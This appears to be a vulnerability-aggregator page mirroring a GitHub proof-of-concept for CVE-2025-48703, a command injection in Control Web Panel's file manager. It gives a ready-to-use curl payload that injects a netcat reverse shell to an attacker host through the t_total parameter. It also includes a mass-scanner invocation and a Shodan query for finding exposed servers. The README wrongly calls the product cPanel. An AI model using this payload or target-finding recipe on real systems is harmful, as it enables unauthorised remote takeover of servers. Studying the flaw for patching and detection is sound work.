CVE-2025-48703 PoC — Control Web Panel 操作系统命令注入漏洞

Source

https://github.com/Skynoxk/CVE-2025-48703

Associated Vulnerability

Title: Control Web Panel 操作系统命令注入漏洞 (CVE-2025-48703)
Description:CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1205 allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known.

Description

Remote Code execution in CentOS web panel

Readme

# 🛡️ CVE-2025-48703 - Remote Code Execution (RCE) in cPanel File Manager

## 📌 Description

**CVE-2025-48703** is a Remote Code Execution (RCE) vulnerability in the `filemanager` module of a web hosting control panel (e.g., cPanel). It occurs due to **unsanitized input handling** in the `acc=changePerm` function, which allows an attacker to inject and execute arbitrary system commands using the `t_total` parameter.

---

## 🧨 Impact

This vulnerability allows attackers to:

- Execute arbitrary commands on the target server.
- Establish a reverse shell for persistent access.
- Potentially escalate privileges or move laterally.

> ⚠️ This attack can be performed with minimal authentication, or in some configurations, unauthenticated access.

---

## 🚀 Proof-of-Concept (PoC)

### ✅ Reverse Shell Command

```bash
curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'
```
## Scanner usage
```bash
python3 Scanner.py  #Make sure targets.txt is in the same dir
```
## Shodan search 
```text
Server: cwpsrv
```
Reference: https://fenrisk.com/rce-centos-webpanel

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →